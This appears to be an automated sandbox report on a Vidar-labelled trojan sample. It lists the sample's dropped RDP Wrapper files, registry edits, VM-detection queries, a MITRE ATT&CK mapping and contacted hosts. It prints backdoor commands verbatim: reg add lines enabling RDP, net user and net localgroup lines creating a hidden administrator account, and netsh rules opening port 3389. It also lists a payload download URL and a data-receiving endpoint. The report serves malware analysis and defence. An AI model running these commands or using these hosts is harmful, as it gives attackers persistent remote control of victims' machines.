Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Windows\System32\rfxvmt.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to dropped file

Source: C:\Windows\System32\drivers\tsusbhub.sys

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_0043B58C OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,

9_2_0043B58C

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Size FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Memory allocated: 2680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Memory allocated: 2880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Memory allocated: 4880000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: OpenSCManagerW,GetLastError,EnumServicesStatusExW,GetLastError,CloseServiceHandle,EnumServicesStatusExW,CloseServiceHandle,GetLastError,CloseServiceHandle,

9_2_0043B7D4

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Window / User API: threadDelayed 6035			Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Window / User API: threadDelayed 3925			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Program Files\RDP Wrapper\rdpwrap.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Windows\System32\rfxvmt.dll			Jump to dropped file

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe TID: 7544	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe TID: 7576	Thread sleep count: 6035 > 30	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe TID: 7580	Thread sleep count: 3925 > 30	Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NumberOfCores FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_004092D8 FindFirstFileW,FindClose,	9_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0040F73C FindFirstFileW,FindClose,	9_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	9_2_00408EB9

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_00409D02 GetSystemInfo,

9_2_00409D02

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002F9C000.00000004.00000800.00020000.00000000.sdmp, net1.exe, 0000001D.00000002.2101682538.00000000034D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171143255.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.1769071163.0000016E11236000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: net1.exe, 0000001D.00000002.2101682538.00000000034D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators

Source: C:\Windows\System32\drivers\tsusbhub.sys

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user JustonThompson G2ywh4BZ30yu /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user JustonThompson G2ywh4BZ30yu /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" JustonThompson /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" JustonThompson /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" JustonThompson /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" JustonThompson /add	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	9_2_004093C0
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_00408908
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	9_2_00412C4A
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	9_2_00412C4C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: GetLocaleInfoW,	9_2_00412C98

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Queries volume information: C:\Users\user\Desktop\67065b4c84713_Javiles.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_00411154 GetLocalTime,

9_2_00411154

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_00414698 GetVersionExW,

9_2_00414698

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Remote Access Functionality

Allows multiple concurrent remote connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\Licensing Core EnableConcurrentSessions

Jump to behavior

Enables remote desktop connection

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	111 Windows Management Instrumentation	1 LSASS Driver	1 LSASS Driver	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	2 Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Create Account	1 Access Token Manipulation	31 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Windows Service	21 Windows Service	12 Software Packing	NTDS	128 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	11 Process Injection	1 Timestomp	LSA Secrets	211 Security Software Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	22 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
67065b4c84713_Javiles.exe	88%	ReversingLabs	ByteCode-MSIL.Trojan.Vidar
67065b4c84713_Javiles.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	100%	Joe Sandbox ML
C:\Program Files\RDP Wrapper\rdpwrap.dll	54%	ReversingLabs	Win64.PUA.RDPWrapper
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	68%	ReversingLabs	Win32.PUA.RDPWrap
C:\Windows\System32\rfxvmt.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
hansgborn.eu	188.114.96.3	true	false		unknown
api.ipify.org	172.67.74.152	true	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	false	unknown
https://hansgborn.eu/core/receive.php	false	unknown
http://api.ipify.org/	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/bchavez/Bogus.	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0	RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
http://api.ipify.orgd	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus/issues/54	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU	RDPWInst.exe, 00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/	RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
https://cloudflare-ipfs.com/ipfs/Qmd3W5DuhgHirLHGVixi6V76LhCkZUz6pnFt5AJBiyvHye/avatar/	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://github.com/lontivero/Open.Nat/issuesOAlso	67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://loremflickr.com	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini	RDPWInst.exe	false		unknown
http://hansgborn.eud	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://picsum.photos	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://placeimg.com	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://hansgborn.eu	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus/issues/115	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://api.ipify.org	67065b4c84713_Javiles.exe	false		unknown
http://stascorp.com/load/1-1-0-62	RDPWInst.exe, RDPWInst.exe, 00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	false		unknown
http://stascorp.comDVarFileInfo$	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.9.dr	false		unknown
https://github.com/bchavez/Bogus/wiki/Bogus-Premium	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://hansgborn.eu	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://via.placeholder.com/	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://hansgborn.eu/core/receive.phpd	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://hansgborn.eu/core/receive.phpihttp://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe	67065b4c84713_Javiles.exe	false		unknown
http://147.45.44.104	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B3D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/bchavez/Bogus:	67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
8.46.123.33	unknown	United States	62713	AS-PUBMATICUS	true
188.114.96.3	hansgborn.eu	European Union	13335	CLOUDFLARENETUS	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531874
Start date and time:	2024-10-11 23:06:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	39
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	67065b4c84713_Javiles.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@47/9@2/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 141 Number of non-executed functions: 48
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 67065b4c84713_Javiles.exe, PID 7480 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 67065b4c84713_Javiles.exe

Simulations

Behavior and APIs

Time	Type	Description
17:07:44	API Interceptor	1x Sleep call for process: 67065b4c84713_Javiles.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://pixel.sitescout.com/iap/2f9ab12ef98b04db?r=https://expresscards.com.au/dead/recaptcha	Get hash	malicious	Unknown	Browse
